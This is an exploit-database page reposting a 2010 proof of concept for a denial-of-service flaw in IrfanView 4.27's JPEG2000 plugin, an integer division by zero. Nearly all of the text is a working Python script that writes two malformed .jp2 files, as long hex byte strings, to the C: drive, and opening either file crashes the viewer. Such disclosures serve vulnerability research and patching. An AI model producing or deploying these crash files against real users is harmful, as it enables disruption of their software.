ExploitFixes
IrfanView 4.27 - JP2000.dll plugin DoS 2010-12-29 14:15:16

# done by BraniX <[email protected]>
# www.hackers.org.pl
# found: 2010.08.18
# published: 2010.12.27
# tested on: Windows XP SP3 Home Edition

# App: IrfanView 4.27
# DoS, Integer division by zero in module JPEG2000.dll
# i_view32.exe MD5: 58150C1AC5B86C1A6B5E15FE1C3A870D
# JPEG2000.dll MD5: 50B3DCD4F32C9939722A905A06AD371A

# first example
filepath = "C:\\IrfanView 4.27 JP2000 DoS - Sample 01.jp2"
f = open(filepath, "wb")
f.write('\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x07\x00\x00\x07\x01\x01\xFF\x5C\x00\x0D\x40\x40\x48\x48\x50\x48\x48\x50\x48\x48\x50\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x01\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x01\xD7\x00\x01\xFF\x93\xC7\xD4\x0A\x0B\xC7\x38\x51\x7F\xC3\xE7\x06\x05\x37\xD2\xC7\xD4\x0A\x03\x99\xA5\x4C\x37\xC1\xF3\x83\x8F\xB4\x16\x0F\xA8\x0C\x02\x3E\x7F\x0C\x36\xBB\x62\x2F\x0B\xCC\x17\xC0\x7C\x21\x40\x7C\x21\xC0\x7C\x80\x80\x04\x3F\x00\x8C\x5F\x08\x4B\xC1\xF3\x83\x87\xD4\x0B\x03\xE7\x06\x03\x86\x7F\x0C\x3F\x54\xA0\x7F\x08\xC3\x3F\xC7\xDA\x19\x0F\xA8\x26\x1F\x68\x50\x1D\x1C\x3D\xBB\xD4\xFC\x81\x39\x8F\xA6\x70\x69\x0D\x31\x7D\x53\xE7\xDB\x76\x1B\xBF\x0C\xAC\x1B\x93\x78\xD2\xF9\xD4\xA4\x4F\xC1\xF3\x8A\x81\xF2\x07\x80\xF9\x03\x80\x1C\x55\x34\xA2\x49\xD7\xFB\x27\x22\x0F\x01\xA7\xB1\x0A\x1F\x87\x4F\x04\x72\xC3\xEE\xE0\x5C\x7F\xC1\xF3\x8C\x87\xD4\x13\x07\xD4\x10\x11\x7B\xFC\x98\xB8\x1F\x71\x08\x68\xBE\x09\x3F\x0B\x4F\x2B\x89\x58\x56\x5E\xD9\xF3\x0C\xAC\x7A\x0E\x4B\x8C\xDA\x19\xC3\xEA\x1D\x87\xD4\x3D\x07\xD4\x30\x4F\x4D\xF3\xDD\x3B\x9E\x30\xC2\x67\xC8\xBE\x80\x42\x86\xA2\x9D\x6E\x6C\x29\x29\x2B\xDD\xF5\x71\x5E\xD4\x7D\xE4\x5F\x03\x8A\xAE\x0D\x74\xDA\xBA\xD1\x3F\xD2\x58\x2F\x8D\x45\x36\x7B\xF4\x45\xC1\x95\x14\xDB\x5D\x6E\x1C\x49\xC8\xC2\x72\xDF\x1E\xE9\x2F\x2C\xBC\xC7\xAA\x56\x9E\xA9\x73\xFD\xA7\xEB\xEB\x43\x78\x20\x08\x39\xEE\x07\xCE\x2B\xC1\xF3\x99\x83\xE7\x33\x03\xE7\x2E\x5F\xEC\x62\x95\x14\x7C\xE1\xB1\x36\x06\xEE\x8D\x1B\xB8\xD9\xFC\x4C\x12\x2D\x5F\xA2\xA1\x7C\x80\xFD\x3D\x57\x59\xB9\x1B\xCD\x48\x78\xB4\xC6\x7F\xC3\x73\x32\x8F\x6E\x38\x51\x45\xCD\xC7\xDA\xED\x54\x5B\x09\xC2\xC1\x85\xF6\x0B\x9C\xEF\x38\x79\x10\x72\x31\x80\x43\x0D\x75\x99\x95\x9C\xE6\x44\x7F\xC1\xF3\x9E\x87\xD4\x3D\x03\xE7\x2E\x11\x88\x13\x57\x4E\x51\x31\x2D\xBF\x76\xEC\x3E\x42\x3C\xF9\xA6\x5D\x7D\x96\x05\xF0\xA9\xA0\x9E\x69\x4C\xBF\x71\xA3\xBF\x03\x89\x78\x67\x57\xF0\xBB\xD2\x32\x12\x88\x9C\xD3\x41\xF6\x81\xED\x3E\x2E\x35\x62\xF1\x69\xDA\xC2\x71\x0F\xAB\x14\x1B\x16\x55\xAC\x51\x83\x1E\x48\x2E\x20\xC8\x39\x1A\x46\x12\xE1\x62\x07\x88\x8C\x43\x20\x1A\x1B\xFF\xD9')
f.close()

# second example
filepath = "C:\\IrfanView 4.27 JP2000 DoS - Sample 02.jp2"
f = open(filepath, "wb")
f.write('\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x07\x01\x01\x00\x00\x00\x00\x5C\x00\x0D\x40\x40\x48\x48\x50\x48\x48\x50\x48\x48\x50\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x01\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x01\xD7\x00\x01\xFF\x93\xC7\xD4\x0A\x0B\xC7\x38\x51\x7F\xC3\xE7\x06\x05\x37\xD2\xC7\xD4\x0A\x03\x99\xA5\x4C\x37\xC1\xF3\x83\x8F\xB4\x16\x0F\xA8\x0C\x02\x3E\x7F\x0C\x36\xBB\x62\x2F\x0B\xCC\x17\xC0\x7C\x21\x40\x7C\x21\xC0\x7C\x80\x80\x04\x3F\x00\x8C\x5F\x08\x4B\xC1\xF3\x83\x87\xD4\x0B\x03\xE7\x06\x03\x86\x7F\x0C\x3F\x54\xA0\x7F\x08\xC3\x3F\xC7\xDA\x19\x0F\xA8\x26\x1F\x68\x50\x1D\x1C\x3D\xBB\xD4\xFC\x81\x39\x8F\xA6\x70\x69\x0D\x31\x7D\x53\xE7\xDB\x76\x1B\xBF\x0C\xAC\x1B\x93\x78\xD2\xF9\xD4\xA4\x4F\xC1\xF3\x8A\x81\xF2\x07\x80\xF9\x03\x80\x1C\x55\x34\xA2\x49\xD7\xFB\x27\x22\x0F\x01\xA7\xB1\x0A\x1F\x87\x4F\x04\x72\xC3\xEE\xE0\x5C\x7F\xC1\xF3\x8C\x87\xD4\x13\x07\xD4\x10\x11\x7B\xFC\x98\xB8\x1F\x71\x08\x68\xBE\x09\x3F\x0B\x4F\x2B\x89\x58\x56\x5E\xD9\xF3\x0C\xAC\x7A\x0E\x4B\x8C\xDA\x19\xC3\xEA\x1D\x87\xD4\x3D\x07\xD4\x30\x4F\x4D\xF3\xDD\x3B\x9E\x30\xC2\x67\xC8\xBE\x80\x42\x86\xA2\x9D\x6E\x6C\x29\x29\x2B\xDD\xF5\x71\x5E\xD4\x7D\xE4\x5F\x03\x8A\xAE\x0D\x74\xDA\xBA\xD1\x3F\xD2\x58\x2F\x8D\x45\x36\x7B\xF4\x45\xC1\x95\x14\xDB\x5D\x6E\x1C\x49\xC8\xC2\x72\xDF\x1E\xE9\x2F\x2C\xBC\xC7\xAA\x56\x9E\xA9\x73\xFD\xA7\xEB\xEB\x43\x78\x20\x08\x39\xEE\x07\xCE\x2B\xC1\xF3\x99\x83\xE7\x33\x03\xE7\x2E\x5F\xEC\x62\x95\x14\x7C\xE1\xB1\x36\x06\xEE\x8D\x1B\xB8\xD9\xFC\x4C\x12\x2D\x5F\xA2\xA1\x7C\x80\xFD\x3D\x57\x59\xB9\x1B\xCD\x48\x78\xB4\xC6\x7F\xC3\x73\x32\x8F\x6E\x38\x51\x45\xCD\xC7\xDA\xED\x54\x5B\x09\xC2\xC1\x85\xF6\x0B\x9C\xEF\x38\x79\x10\x72\x31\x80\x43\x0D\x75\x99\x95\x9C\xE6\x44\x7F\xC1\xF3\x9E\x87\xD4\x3D\x03\xE7\x2E\x11\x88\x13\x57\x4E\x51\x31\x2D\xBF\x76\xEC\x3E\x42\x3C\xF9\xA6\x5D\x7D\x96\x05\xF0\xA9\xA0\x9E\x69\x4C\xBF\x71\xA3\xBF\x03\x89\x78\x67\x57\xF0\xBB\xD2\x32\x12\x88\x9C\xD3\x41\xF6\x81\xED\x3E\x2E\x35\x62\xF1\x69\xDA\xC2\x71\x0F\xAB\x14\x1B\x16\x55\xAC\x51\x83\x1E\x48\x2E\x20\xC8\x39\x1A\x46\x12\xE1\x62\x07\x88\x8C\x43\x20\x1A\x1B\xFF\xD9')
f.close()

print "Done, 2 files generated on 'C:\\' ..."